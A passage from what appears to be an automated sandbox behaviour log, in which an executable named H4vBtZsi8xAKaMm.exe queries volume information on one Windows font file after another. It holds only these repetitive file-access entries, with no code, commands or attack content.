Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
